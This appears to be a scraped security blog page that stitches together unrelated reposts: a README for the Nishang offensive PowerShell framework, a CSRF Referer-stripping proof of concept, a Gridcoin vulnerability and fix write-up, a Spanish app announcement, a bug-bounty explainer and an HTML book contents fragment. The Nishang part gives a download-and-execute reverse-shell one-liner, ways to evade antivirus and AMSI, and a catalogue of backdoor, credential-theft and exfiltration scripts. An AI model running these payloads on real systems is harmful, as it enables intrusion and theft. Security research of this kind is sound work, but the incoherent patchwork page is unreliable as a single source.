Nishang - Offensive PowerShell For Red Team, Penetration Testing And Offensive Security

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.
By nikhil_mitt

Usage
Import all the scripts in the current PowerShell session (PowerShell v3 onwards).

PS C:\nishang> Import-Module .\nishang.psm1

Use the individual scripts with dot sourcing.

PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1

PS C:\nishang> Get-Information

To get help about any script or function, use:

PS C:\nishang> Get-Help [scriptname] -full

Note that the help is available for the function loaded after running the script and not the script itself since version 0.3.8. In all cases, the function name is same as the script name.
For example, to see the help about Get-WLAN-Keys.ps1, use

PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1

PS C:\nishang> Get-Help Get-WLAN-Keys -Full

Anti Virus
Nishang scripts are flagged by many Anti Viruses as malicious. The scrripts on a target are meant to be used in memory which is very easy to do with PowerShell. Two basic methods to execute PowerShell scripts in memory:
Method 1. Use the in-memory dowload and execute: Use below command to execute a PowerShell script from a remote shell, meterpreter native shell, a web shell etc. and the function exported by it. All the scripts in Nishang export a function with same name in the current PowerShell session.

powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]

Method 2. Use the -encodedcommand (or -e) parameter of PowerShell All the scripts in Nishang export a function with same name in the current PowerShell session. Therefore, make sure the function call is made in the script itself while using encodedcommand parameter from a non-PowerShell shell. For above example, add a function call (without quotes) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".
Encode the scrript using Invoke-Encode from Nishang:

PS C:\nishang> . \nishang\Utility\Invoke-Encode

PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand

Encoded data written to .\encoded.txt
Encoded command written to .\encodedcommand.txt
From above, use the encoded script from encodedcommand.txt and run it on a target where commands could be executed (a remote shell, meterpreter native shell, a web shell etc.). Use it like below:

C:\Users\target> powershell -e [encodedscript]

If the scripts still get detected changing the function and parameter names and removing the help content will help.
In case Windows 10's AMSI is still blocking script execution, see this blog: http://www.labofapenetrationtester.com/2016/09/amsi.html

Scripts
Nishang currently contains the following scripts and payloads.

ActiveDirectory
Set-DCShadowPermissions
Modify AD objects to provide minimal permissions required for DCShadow.

Antak - the Webshell
Antak
Execute PowerShell scripts in memory, run commands, and download and upload files using this webshell.

Backdoors
HTTP-Backdoor
A backdoor which can receive instructions from third party websites and execute PowerShell scripts in memory.
DNS_TXT_Pwnage
A backdoor which can receive commands and PowerShell scripts from DNS TXT queries, execute them on a target, and be remotely controlled using the queries.
Execute-OnTime
A backdoor which can execute PowerShell scripts at a given time on a target.
Gupt-Backdoor
A backdoor which can receive commands and scripts from a WLAN SSID without connecting to it.
Add-ScrnSaveBackdoor
A backdoor which can use Windows screen saver for remote command and script execution.
Invoke-ADSBackdoor
A backdoor which can use alternate data streams and Windows Registry to achieve persistence.
Add-RegBackdoor
A backdoor which uses well known Debugger trick to execute payload with Sticky keys and Utilman (Windows key + U).
Set-RemoteWMI
Modify permissions of DCOM and WMI namespaces to allow access to a non-admin user.
Set-RemotePSRemoting
Modify permissions of PowerShell remoting to allow access to a non-admin user.

Bypass
Invoke-AmsiBypass
Implementation of publicly known methods to bypass/avoid AMSI.

Client
Out-CHM
Create infected CHM files which can execute PowerShell commands and scripts.
Out-Word
Create Word files and infect existing ones to run PowerShell commands and scripts.
Out-Excel
Create Excel files and infect existing ones to run PowerShell commands and scripts.
Out-HTA
Create a HTA file which can be deployed on a web server and used in phishing campaigns.
Out-Java
Create signed JAR files which can be used with applets for script and command execution.
Out-Shortcut
Create shortcut files capable of executing PowerShell commands and scripts.
Out-WebQuery
Create IQY files for phishing credentials and SMB hashes.
Out-JS
Create JS files capable of executing PowerShell commands and scripts.
Out-SCT
Create SCT files capable of executing PowerShell commands and scripts.
Out-SCF
Create a SCF file which can be used for capturing NTLM hash challenges.

Escalation
Enable-DuplicateToken
When SYSTEM privileges are required.
Remove-Update
Introduce vulnerabilities by removing patches.
Invoke-PsUACme
Bypass UAC.

Execution
Download-Execute-PS
Download and execute a PowerShell script in memory.
Download_Execute
Download an executable in text format, convert it to an executable, and execute.
Execute-Command-MSSQL
Run PowerShell commands, native commands, or SQL commands on a MSSQL Server with sufficient privileges.
Execute-DNSTXT-Code
Execute shellcode in memory using DNS TXT queries.
Out-RundllCommand
Execute PowerShell commands and scripts or a reverse PowerShell session using rundll32.exe.

Gather
Check-VM
Check for a virtual machine.
Copy-VSS
Copy the SAM file using Volume Shadow Copy Service.
Invoke-CredentialsPhish
Trick a user into giving credentials in plain text.
FireBuster FireListener
A pair of scripts for egress testing
Get-Information
Get juicy information from a target.
Get-LSASecret
Get LSA Secret from a target.
Get-PassHashes
Get password hashes from a target.
Get-WLAN-Keys
Get WLAN keys in plain text from a target.
Keylogger
Log keystrokes from a target.
Invoke-MimikatzWdigestDowngrade
Dump user passwords in plain on Windows 8.1 and Server 2012
Get-PassHints
Get password hints of Windows users from a target.
Show-TargetScreen
Connect back and Stream target screen using MJPEG.
Invoke-Mimikatz
Load mimikatz in memory. Updated and with some customisation.
Invoke-Mimikittenz
Extract juicy information from target process (like browsers) memory using regex.
Invoke-SSIDExfil
Exfiltrate information like user credentials, using WLAN SSID.
Invoke-SessionGopher
Identify admin jump-boxes and/or computers used to access Unix machines.

MITM
Invoke-Interceptor
A local HTTPS proxy for MITM attacks.

Pivot
Create-MultipleSessions
Check credentials on multiple computers and create PSSessions.
Run-EXEonRemote Copy and execute an executable on multiple machines.
Invoke-NetworkRelay Create network relays between computers.

Prasadhak
Prasadhak
Check running hashes of running process against the VirusTotal database.

Scan
Brute-Force
Brute force FTP, Active Directory, MSSQL, and Sharepoint.
Port-Scan
A handy port scanner.

Powerpreter
Powerpreter
All the functionality of nishang in a single script module.

Shells
Invoke-PsGcat
Send commands and scripts to specifed Gmail account to be executed by Invoke-PsGcatAgent
Invoke-PsGcatAgent
Execute commands and scripts sent by Invoke-PsGcat.
Invoke-PowerShellTcp
An interactive PowerShell reverse connect or bind shell
Invoke-PowerShellTcpOneLine
Stripped down version of Invoke-PowerShellTcp. Also contains, a skeleton version which could fit in two tweets.
Invoke-PowerShellTcpOneLineBind
Bind version of Invoke-PowerShellTcpOneLine.
Invoke-PowerShellUdp
An interactive PowerShell reverse connect or bind shell over UDP
Invoke-PowerShellUdpOneLine
Stripped down version of Invoke-PowerShellUdp.
Invoke-PoshRatHttps
Reverse interactive PowerShell over HTTPS.
Invoke-PoshRatHttp
Reverse interactive PowerShell over HTTP.
Remove-PoshRat
Clean the system after using Invoke-PoshRatHttps
Invoke-PowerShellWmi
Interactive PowerShell using WMI.
Invoke-PowerShellIcmp
An interactive PowerShell reverse shell over ICMP.
Invoke-JSRatRundll
An interactive PowerShell reverse shell over HTTP using rundll32.exe.
Invoke-JSRatRegsvr
An interactive PowerShell reverse shell over HTTP using regsvr32.exe.

Utility
Add-Exfiltration
Add data exfiltration capability to Gmail, Pastebin, a web server, and DNS to any script.
Add-Persistence
Add reboot persistence capability to a script.
Remove-Persistence
Remote persistence added by the Add-Persistence script.
Do-Exfiltration
Pipe (|) this to any script to exfiltrate the output.
Download
Transfer a file to the target.
Parse_Keys
Parse keys logged by the keylogger.
Invoke-Encode
Encode and compress a script or string.
Invoke-Decode
Decode and decompress a script or string from Invoke-Encode.
Start-CaptureServer
Run a web server which logs Basic authentication and SMB hashes.
ConvertTo-ROT13
Encode a string to ROT13 or decode a ROT13 string.
Out-DnsTxt
Generate DNS TXT records which could be used with other scripts.
[Base64ToString]
[StringToBase64]
[ExetoText]
[TexttoExe]

Updates
Updates about Nishang can be found at my blog http://labofapenetrationtester.com and my Twitter feed @nikhil_mitt.

Bugs, Feedback and Feature Requests
Please raise an issue if you encounter a bug or have a feature request. You can email me at nikhil [dot] uitrgpv at gmail.com

Blog Posts
Some helpful blog posts to check out for beginners:
http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html
http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html
http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html
http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html
All posts about Nishang:
http://www.labofapenetrationtester.com/search/label/Nishang

Download Nishang

via KitPloit

This article is the property of Tenochtitlan Offensive Security. Verlo Completo --> https://tenochtitlan-sec.blogspot.com

Related news

• Hacking Wifi Windows
• Hacking Wifi Kali Linux
• Hacking Web Sql Injection
• Curso Hacker
• Libros Hacking
• Herramientas De Seguridad Informatica
• Como Aprender A Hackear
• Hacking 2018

Android SSHControl V1.0 Relased!!!

Hoy sabado 15, he subido al Market de Android la versión 1.0 de SSHControl, con nuevas funcionalades y la esperada opción "Custom Commands".

Esta aplicación permite controlar tus servidores linux, bsd y unix con solo un dedo, mediante esta app Android.
Y soluciona las siguientes problemáticas:
- Manejar una shell desde el pequeño teclado de un móvil es engorroso.
- Leer todos los resultados de un comando en la pantalla del móvil, nos dejamos la vista.

Esta app permite interactuar con servidores remotos simplemente haciendo pulsaciones en la pantalla, mediante un explorador de ficheros, de conexiones, etc..

Las funcionalidades nuevas de esta versión 1.0 son:

- Administración del Firewall Iptables.
- Opción de Custom Commands, tal como había prometido.

Las funcionalidades ya presentes en la v0.8 son:

- escalada a root mediante su y sudo
- gestor de procesos
- explorador de ficheros, editor de ficheros, editor de permisos.
- monitorización y baneo de conexiones
- Visualizadores de logs
- administrador de drivers
- estadisticas de disco

Para la versión 2.0 preveo:

- Escuchar música remota
- Descarga de ficheros (wget)
- Transferencia segura de ficheros entre servidores (scp)
- Gestures, para administrar los sitemas en plan minority report :)

App disponible en el market para 861 tipos de dispositivos y pronto disponible en tablets.

https://market.android.com/details?id=net.ssh.SSHControl

Cualquier sugerencia de mejora: sha0 [4t] badchecksum [d0t] net

More info

1. Growth Hacking Ejemplos
2. Hacking Etico Que Es
3. Hacking Simulator
4. Programa Hacker
5. Ultimate Hacking Keyboard
6. Hacking The System

CSRF Referer Header Strip

Intro

Most of the web applications I see are kinda binary when it comes to CSRF protection; either they have one implemented using CSRF tokens (and more-or-less covering the different functions of the web application) or there is no protection at all. Usually, it is the latter case. However, from time to time I see application checking the Referer HTTP header.

A couple months ago I had to deal with an application that was checking the Referer as a CSRF prevention mechanism, but when this header was stripped from the request, the CSRF PoC worked. BTW it is common practice to accept empty Referer, mainly to avoid breaking functionality.

The OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet tells us that this defense approach is a baaad omen, but finding a universal and simple solution on the Internetz to strip the Referer header took somewhat more time than I expected, so I decided that the stuff that I found might be useful for others too.

Solutions for Referer header strip

Most of the techniques I have found were way too complicated for my taste. For example, when I start reading a blog post from Egor Homakov to find a solution to a problem, I know that I am going to:

1. learn something very cool;
2. have a serious headache from all the new info at the end.

This blog post from him is a bit lighter and covers some useful theoretical background, so make sure you read that first before you continue reading this post. He shows a few nice tricks to strip the Referer, but I was wondering; maybe there is an easier way?

Rich Lundeen (aka WebstersProdigy) made an excellent blog post on stripping the Referer header (again, make sure you read that one first before you continue). The HTTPS to HTTP trick is probably the most well-known one, general and easy enough, but it quickly fails the moment you have an application that only runs over HTTPS (this was my case).

The data method is not browser independent but the about:blank trick works well for some simple requests. Unfortunately, in my case the request I had to attack with CSRF was too complex and I wanted to use XMLHttpRequest. He mentions that in theory, there is anonymous flag for CORS, but he could not get it work. I also tried it, but... it did not work for me either.

Krzysztof Kotowicz also wrote a blog post on Referer strip, coming to similar conclusions as Rich Lundeen, mostly using the data method.

Finally, I bumped into Johannes Ullrich's ISC diary on Referer header and that led to me W3C's Referrer Policy. So just to make a dumb little PoC and show that relying on Referer is a not a good idea, you can simply use the "referrer" meta tag (yes, that is two "r"-s there).

The PoC would look something like this:

<html>
  <meta name="referrer" content="never">
  <body>
    <form action="https://vistimsite.com/function" method="POST">
      <input type="hidden" name="param1" value="1" />
      <input type="hidden" name="param2" value="2" />
      ...
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Conclusion

As you can see, there is quite a lot of ways to strip the Referer HTTP header from the request, so it really should not be considered a good defense against CSRF. My preferred way to make is PoC is with the meta tag, but hey, if you got any better solution for this, use the comment field down there and let me know! :)

Read more

• Hacking Usb
• Hacking Ético
• Hacking Virus

Gridcoin - The Good

In this post we will take an in depth look at the cryptocurrency Gridcoin, we show how we found two critical design vulnerabilities and how we fixed them.

In the last past years we saw many scientific publications about cryptocurrencies. Some focused on theoretical parts [Source] and some on practical attacks against specific well-known cryptocurrencies, like Bitcoin [Source]. But in general there is a lack of practical research against alternative coins. Or did you know that there are currently over 830 currencies listed online? So we asked ourselves how secure are these currencies, and if they are not just re-branded forks of the Bitcoin source code?

Background

Gridcoin is an Altcoin, which is in active development since 2013. It claims to provide a high sustainability, as it has very low energy requirements in comparison to Bitcoin. It rewards users for contributing computation power to scientific projects, published on the BOINC project platform. Although Gridcoin is not as widespread as Bitcoin, its draft is very appealing as it attempts to eliminate Bitcoin's core problems. It possesses a market capitalization of $13,719,142 (2017/08/10).

Berkeley Open Infrastructure for Network Computing

To solve general scientific meaningful problems, Gridcoin draws on the well-known Berkeley Open Infrastructure for Network Computing (BOINC). It is a software platform for volunteer computing, initially released in 2002 and developed by the University of California, Berkeley. It is an open source software licensed under the GNU Lesser General Public License. The platform enables professionals in need for computation power to distribute their tasks to volunteers. Nowadays it is widely used by researchers with limited resources to solve scientific problems, for example, healing cancer, investigate global warming, finding extraterrestrial intelligence in radio signals and finding larger prime numbers.
When launching a BOINC project, its maintainer is required to set up his own BOINC server. Project volunteers may then create accounts (by submitting a username, a password and an email address) and work on specific project tasks, called workunits. The volunteers can process the project tasks and transfer their solutions with a BOINC client.

BOINC architecture

BOINC uses a client-server architecture to achieve its rich feature set. The server component handles the client requests for workunits and the problem solutions uploaded by the clients. The solutions are validated and assimilated by the server component. All workunits are created by the server component and each workunit represents a chunk of a scientific problem which is encapsulated into an application. This application consists of one or multiple in-/output files, containing binary or ASCII encoded parameters.

BOINC terminology

• iCPID
• The BOINC project server creates the internal Cross Project Identifier (iCPID) as a 16 byte long random value during account creation. This value is stored by the client and server. From this time on, the iCPID is included in every request and response between client and server
• eCPID
• The external Cross Project Identifier (eCPID) serves the purpose of identifying a volunteer across different BOINC projects without revealing the corresponding email address. It is computed by applying the cryptographic hash function MD5 to (iCPID,email) and thus has a length of 16 byte [Source].

eCPID = MD5(iCPID||email)

• Credits
• BOINC credits are generated whenever a host submits a solution to an assigned task. They are measured in Cobblestone, whereas one Cobblestone is equivalent to 1/200 of CPU time on a reference machine with 1,000 mega floating point operation per seconds [Source]
• Total Credit
• Total number of Cubblestones a user invested with his machines for scientific computations
• Recent Average Credit (RAC)
• RAC is defined as the average number of Cobblestones per day generated recently [Source]. If an entire week passes, the value is divided by two. Thus old credits are weakly weighted. It is recalculated whenever a host generates credit [Source].

Gridcoin

As a fork of Litecoin, Gridcoin-Research is a blockchain based cryptocurrency and shares many concepts with Bitcoin. While Bitcoin's transaction data structure and concept is used in an unmodified version, Gridcoin-Research utilizes a slightly modified block structure. A Gridcoin-Research block encapsulates a header and body. The header contains needed meta information and the body encloses transactions. Due to the hashPrevBlockHeader field, which contains the hash of the previous block-header, the blocks are linked and form the distributed ledger, the blockchain. Blocks in the blockchain are created by so called minters. Each block stores a list of recent transactions in its body and further metadata in its header. To ensure that all transactions are confirmed in a decisive order, each block-header field contains a reference to the previous one. To regulate the rate in which new blocks are appended to the blockchain and to reward BOINC contribution, Gridcoin-Research implements another concept called Proof-of-Research. Proof-of-Research is a combination of a new overhauled Proof-of-BOINC concept, which was originally designed for Gridcoin-Classic and the improved Proof-of-Stake concept, inspired by alternative cryptocurrencies.

Fig. 1: Gridcoin block structure

Gridcoin terminology

In order to understand the attacks we need to introduce some Gridcoin specific terms.

• eCPID
• Identifier value from BOINC used in Gridcoin to identify the researcher.
• CPIDv2
• contains a checksum to prove that the minter is the owner of the used eCPID. We fully describe the content of this field in the last attack section.
• GRCAddress
• contains the payment address of the minter.
• ResearchAge
• is defined as the time span between the creation time of the last Proof-of-Research generated block with the user's eCPID and the time stamp of the last block in the chain measured in days.
• RSAWeight
• estimates the user's Gridcoin gain for the next two weeks, based on the BOINC contribution of the past two weeks.

Proof-of-Stake

Proof-of-Stake is a Proof-of-Work replacement, which was first utilized by the cryptocurrency Peercoin in 2012. This alternative concept was developed to showcase a working Bitcoin related currency with low power consumption. Therefore, the block generation process has been overhauled. To create a new valid block for the Gridcoin blockchain the following inequality have to be satisfied:

SHA256(SHA256(kernel)) < Target * UTXO Value + RSAWeight

The kernel value represents the concatenation of the parameters listed in Table 2. The referenced unspent transaction output (UTXO) must be at least 16 hours old. The so called RSAWeight is an input value to the kernel computation, it's indicates the average BOINC work, done by a Gridcoin minter.
In direct comparison to Bitcoin's Proof-of-Work concept, it is notable that the hash of the previous block-header is not part of the kernel. Consequently, it is theoretically possible to create a block at any previous point in time in the past. To prevent this, Gridcoin-Research creates fixed interval checkpoint blocks. Once a checkpoint block is synchronized with the network, blocks with older time stamps became invalid. Considering the nature of the used kernel fields, a client with only one UTXO is able to perform a hash calculation each time nTime is updated. This occurs every second, as nTime is a UNIX time stamp. To be able to change the txPrev fields and thereby increase his hash rate, he needs to gain more UTXO by purchasing coins. Note that high UTXO and RSAWeight values mitigate the difficulty of the cryptographic puzzle, which increase the chance of finding a valid kernel. RSAWeight was explained above. Once a sufficient kernel has been found, the referenced UTXO is spent in a transaction to the creator of the block and included in the generated block. This consumes the old UTXO and generates a new one with the age of zero.

The Gridcoin-Research concept does not require much electrical power, because the maximum hash rate of an entity is limited by its owned amount of UTXOs with suitable age.

Proof-of-Research

Minters relying solely on the Proof-of-Stake rewards are called Investors. In addition to Proof-of-Stake, Gridcoin gives minters a possibility to increase their income with Proof-of-Research rewards. The Proof-of-Research concept implemented in Gridcoin-Research allows the minters to highly increase their block reward by utilizing their BOINC Credits. In this case the minter is called a Researcher.
To reward BOINC contribution, relevant BOINC data needs to be stored in each minted block. Therefore, the software uses the BOINCHash data structure, which is encapsulated in the first transaction of each block. The structure encloses the fields listed in Table 6. The minting and verification process is shown in Figure 2 and works as follows:

1. A minter (Researcher) participates in a BOINC project A and performs computational work for it. In return the project server increases the users Total Credit value on the server. The server therefore stores the minter's email address, iCPID, eCPID and RAC.
2. Statistical websites contact project server and down-load the statistics for all users from the project server (A).
3. After the user earns credits, his RAC increases. Consequently, this eases the finding of a solution for the Proof-of-Stake cryptographic puzzle, and the user can create (mint) a block and broadcast it to the Gridcoin network.
4. Another minter (Investor or Researcher) will receive the block and validate it. Therefore, he extracts the values from the BOINCHash data structure inside the block.
5. The minter uses the eCPID from the BOINCHash to request the RAC and other needed values from a statistical website and compares them to the data extracted from the BOINCHash structure, in the event that they are equal and the block solves the cryptographic puzzle, the block is accepted.

 Fig. 2: Gridcoin architecture and minting process

Reward calculation

The total reward for a solved block is called the Subsidy and is computed as the sum of the Proof-of-Research and the Proof-of-Stake reward.

If a minter operates as an Investor (without BOINC contribution), the eCPID is set to the string Investor and all other fields of the BOINCHash are zeroed. An Investor receives only a relatively small Proof-of-Stake reward.
Because the Proof-of-Research reward is much higher than its Proof-of-Stake counterpart, contributing to BOINC projects is more worth the effort.

Statistic Website

At the beginning of the blog post, the core concept behind BOINC was described. One functionality is the creation of BOINC Credits for users, who perform computational work for the project server. This increases the competition between BOINC users and therefore has a positive effect on the amount of computational work users commit. Different websites 4 collect credit information of BOINC users from known project servers and present them online. The Gridcoin client compares the RAC and total credit values stored in a new minted block with the values stored on cpid.gridcoin.us:5000/get_user.php?cpid=eCPID where eCPID is the actual value of the researcher. If there are differences, the client declines the block. In short, statistical websites are used as control instance for Gridcoin. It is obvious that gridcoin.us administrators are able to modify values of any user. Thus, they are able to manipulate the amount of Gridcoins a minter gets for his computational work. This is crucial for the trust level and undermines the general decentralized structure of a cryptocurrency.

Project Servers

Gridcoin utilizes BOINC projects to outsource meaningful computation tasks from the currency. For many known meaningful problems there exist project servers 5 that validate solutions submitted by users, 6 and decide how many credits the users receive for their solutions. Therefore, the project servers can indirectly control the amount of Gridcoins a minter gets for his minted block via the total credit value. As a result, a Gridcoin user also needs to trust the project administrators. This is very critical since there is no transparency in the credit system of project server. If you want to know why decentralization is not yet an option, see our paper from WOOT'17.

Attacks

In addition to the trust a Gridcoin user needs to put into the project server and statistic website administrators, Gridcoin suffers from serious flaws which allows the revelation of minter identities or even stealing coins. Our attacks do not rely on the Gridcoin trust issues and the attacker does not need to be in possession of specific server administrative rights. We assume the following two simple attackers with limited capability sets. The first one, is the blockchain grabber which can download the Gridcoin blockchain from an Internet resource and runs a program on the downloaded data. The second one, the Gridcoin attacker, acts as a normal Gridcoin user, but uses a modified Gridcoin client version, in order to run our attacks.

Interestingly, the developer of Gridcoin tried to make the source code analysis somewhat harder, by obfuscating the source code of relevant functions.

 Fig. 3: Obfuscated source code in Gridcoin [Source]

Grab Gridcoin user email addresses

In order to protect the email addresses of Gridcoin Researchers, neither BOINC project websites nor statistical websites directly include these privacy critical data. The statistical websites only include eCPID entries, which are used to reward Gridcoin Researchers. However, the email addresses are hidden inside the computation of the BOINCHash (cf. Table 1). A BOINCHash is created every time a Researcher mints a new block and includes a CPIDv2 value. The CPIDv2 value contains an obfuscated email address with iCPID and a hash over the previous blockchain block.

By collecting the blockchain data and reversing the obfuscation function (cf. Figure 4 and Figure 7), the attacker gets all email addresses and iCPIDs ever used by Gridcoin Researchers. See the reversed obfuscation function in Figure 4 and Figure 5.

Evaluation

We implemented a deobfuscation function (cf. Figure 7) and executed it on the blockchain. This way, we were able to retrieve all (2709) BOINC email addresses and iCPIDs used by Gridcoin Researchers. This is a serious privacy issue and we address it with our fix (cf. The Fix).

Steal Gridcoin users BOINC reward

The previous attack through deobfuscation allows us to retrieve iCPID values and email addresses. Thus, we have all values needed to create a new legitimate eCPID. This is required because the CPIDv2 contains the last block hash and requires a re-computation for every new block it should be used in. We use this fact in the following attack and show how to steal the computational work from another legitimate Gridcoin Researcher by mining a new Gridcoin block with forged BOINC information. Throughout this last part of the post, we assume the Gridcoin Minter attacker model where the attacker has a valid Gridcoin account and can create new blocks. However, the attacker does not perform any BOINC work.

 Tab. 1: BOINCHash structure as stored and used in the Gridcoin blockchain.

As stated at the beginning of the blog post, the pre-image of the eCPID is stored obfuscated in every Gridcoin block, which contains a Proof-of-Research reward. We gathered one pre-image from the minted blocks of our victim and deobfuscated it. Thus, we know the values of the iCPID, and the email address of our victim. Subsequently, use the hash of the last block created by the network and use these three values to create a valid CPIDv2. Afterwards we constructed a new block. In the block we also store the current BOINC values of our victim, which we can gather from the statistics websites. The final block is afterwards sent into the Gridcoin network. In case all values are computed correctly by the attacker, the network will accept the block, and resulting in a higher reward for the attacker, consisting of Proof-of-Stake and Proof-of-Research reward.

 Fig. 4: Obfuscation function

 Fig. 5: Deobfuscation function

Evaluation

In order to verify our attacks practically, we created two virtual machines (R and A), both running Ubuntu 14.04.3 LTS. The virtual machine R contained a legitimate BOINC and Gridcoin instance. It represented the setup of a normal Gridcoin Researcher. The second machine A contained a modified Gridcoin-Research client 3.5.6.8 version, which tried to steal the Proof-of-Research reward of virtual machine R. Thus, we did not steal reward of other legitimate users. The victim BOINC client was attached to the SETI@home project 11 with the eCPID 9f502770e61fc03d23d8e51adf7c6291.

The victim and the attacker were in possession of Gridcoins, enabling them to stake currency and to create new blocks.

 Fig. 6: CPIDv2 calculation deobfuscated

Initially both Gridcoin-Research clients retrieved the blockchain from other Gridcoin nodes in the Gridcoin network.

The Gridcoin attack client made it possible to specify the victim email address, iCPID and target project. All these values can be retrieved from the downloaded blockchain and our previous attack via the reverseCPIDv2 function as shown in Figure 7. The attack client read the iCPID and email address of the victim from a modified configuration file. All other values, for example, RAC or ResearchAge, were pulled from http://cpid.gridcoin.us:5000/get_user.php?cpid=. As soon as all values were received, the client attempted to create a new valid block.

 Fig. 7: Reverse the CPIDv2 calculation to get iCPID and email address

Once a block had been created and confirmed, the attacker received the increased coin reward with zero BOINC contribution done. The attack could only be detected by its victims because an outside user did not know the legitimate Gridcoin addresses a Researcher uses.

All blocks created with our victim's eCPID are shown in Table 2. Illegitimate blocks are highlighted. We were able to mint multiple illegitimate blocks, and thus stealing Research Age from our victim machine R. All nine blocks created and send by our attacker to the Gridcoin network passed the Gridcoin block verification, were confirmed multiple times, and are part of the current Gridcoin blockchain. During our testing timespan of approximately three weeks, the attacker machine was wrongfully rewarded with 72.4 Proof-of-Research generated Gridcoins, without any BOINC work. The results show that the attack is not only theoretically possible, but also very practical, feasible and effective. The attack results can be reproduced with our Gridcoin-Research-Attack client.

 Tab. 2:Blocks minted with the victim's eCPID

The Fix

In order to fix the security issue, we found one solution which does not require any changes to the BOINC source code nor the infrastructure. It is sufficient to change some parts of the already existing Gridcoin Beacon system. Thus, our solution is backwards compatible.
The current Gridcoin client utilizes so called Beacons to register new eCPIDs and stores them as a transaction of 0.0001 Gridcoins in a Superblock which is created every 24 hours. A Beacon encloses the user's personal eCPIDs, a corresponding unused (but irreversible) CPIDv2, and the wallet's main Gridcoin payment address. Once the Superblock is created, the eCPIDs is bound to one Gridcoin payment address. During the block verification process this bond is unfortunately not checked. Furthermore, the existing Beacon system does not use any strong asymmetric cryptography to ensure authenticity and integrity of the broadcasted data. We propose to extend the Beacon system with public key cryptography. In detail, we suggest that a user binds his fresh public key PK_1 to a newly generated eCPID, and then storing them together in a Superblock. An initial Beacon would therefore contain a hashed (e.g. SHA-256) eCPID, the public key, a Nonce, and a cryptographic signature created with the corresponding secret key SK_1 of the public key. This allows only the owner of the secret key to create valid signatures over blocks created with his eCPID. Thus, an adversary first needs to forge a cryptographic signature before he can claim Proof-of-Research work of another Gridcoin user. Thus, he is not capable of stealing the reward of the user.

Beacon to create a eCPID, public/secret key pair bond

For verification purposes nodes fetch the corresponding latest public key from one of the Superblocks. Furthermore, this Beacon structure allows a user to replace his previous public key associated with his eCPID. This is realized by submitting a new Beacon with a new public key PK_2, signed with his old secret key.

Beacon to update a eCPID, public/secret key pair bond

All Beacons in the chain are verifiable and the latest public key is always authentic. The Nonce provide freshness for the signature input, and therefore prevent replay attacks against the Beacon system.
Note that the eCPID needs to be completely unknown to the network, when sending the initial Beacon, for this concept to work as intended. The hash function ensures, that the Beacon does not reveal the fresh eCPID. As a result, an attacker is unable to mint with a eCPID even if he was able to intercept an initial Beacon and replaced the public key and signature with his own parameters, beforehand. This solution does not require any changes in the BOINC source code or the project servers.

Sign a block

In order to claim the Proof-of-Research reward for a newly created block, the Gridcoin minter computes a signature over the hash of the blockheader. Afterwards, he stores the resulting value at the end of the corresponding block in a new field. The private key used for the signature generation must correspond to the advertised public key by the user. It is important to note that the signature value is not part of the Merkle tree, and thus does not change the blockheader. In the end, the signature can then be verified by every other Gridcoin user via the advertised public key corresponding to the eCPID of the Gridcoin minter.

Responsible Disclosure

The attacks and the countermeasures were responsibly disclosed to the Gridcoin developer on the 14th of September, 2016. The developer used our proposed countermeasures and started to implement a new version. Since version 3.5.8.8, which is mandatory for all Gridcoin users, there exists an implementation, which contains countermeasures to our reward stealing attack.
See our next blog post, why Gridcoin is still insecure and should not be used anymore.

Further Reading

A more detailed description of Gridcoin and the attacks will be presented at WOOT'17, the paper is available here.

Authors

Tobias Niemann

Juraj Somorovsky

Martin Grothe

Related word

• Manual Del Hacker
• Curso Hacker
• Curso Completo De Hacking Ético
• Hacking Traduccion
• Hacking 2018
• Curso De Hacker Gratis Desde Cero

SigPloit SS7 Tool

More info

1. Hacking Growth Pdf
2. Mundo Hacker
3. Herramientas Growth Hacking
4. Growth Hacking Sean Ellis

$$$ Bug Bounty $$$

What is Bug Bounty ?

A bug bounty program, also called a vulnerability rewards program (VRP), is a crowdsourcing initiative that rewards individuals for discovering and reporting software bugs. Bug bounty programs are often initiated to supplement internal code audits and penetration tests as part of an organization's vulnerability management strategy.




Many software vendors and websites run bug bounty programs, paying out cash rewards to software security researchers and white hat hackers who report software vulnerabilities that have the potential to be exploited. Bug reports must document enough information for for the organization offering the bounty to be able to reproduce the vulnerability. Typically, payment amounts are commensurate with the size of the organization, the difficulty in hacking the system and how much impact on users a bug might have.


Mozilla paid out a $3,000 flat rate bounty for bugs that fit its criteria, while Facebook has given out as much as $20,000 for a single bug report. Google paid Chrome operating system bug reporters a combined $700,000 in 2012 and Microsoft paid UK researcher James Forshaw $100,000 for an attack vulnerability in Windows 8.1.  In 2016, Apple announced rewards that max out at $200,000 for a flaw in the iOS secure boot firmware components and up to $50,000 for execution of arbitrary code with kernel privileges or unauthorized iCloud access.


While the use of ethical hackers to find bugs can be very effective, such programs can also be controversial. To limit potential risk, some organizations are offering closed bug bounty programs that require an invitation. Apple, for example, has limited bug bounty participation to few dozen researchers.

Read more

• Nivel Basico
• Herramientas Hacking
• Computer Hacking
• Tecnicas De Ingenieria Social
• Libros De Hacking Pdf
• Ultimate Hacking Keyboard

Chapter 1To 5 HTML

Contents

 

About

 

................................................................................................................................................................................... 1

 

Chapter 1: Getting started with HTML

 

................................................................................................................ 2

 

Section 1.1: Hello World 2

 

Chapter 2: Doctypes

 

.................................................................................................................................................... 4

 

Section 2.1: Adding the Doctype 4

Section 2.2: HTML 5 Doctype 4

 

Chapter 3: Headings

 

.................................................................................................................................................... 5

 

Section 3.1: Using Headings 5

 

Chapter 4: Paragraphs

 

.............................................................................................................................................. 6

 

Section 4.1: HTML Paragraphs

Chapter 5: Text Formatting

 

.....................................................................................................................................  6

.....................................................................................................................................  7

 

Section 5.1: Highlighting 7

Section 5.2: Bold, Italic, and Underline 7

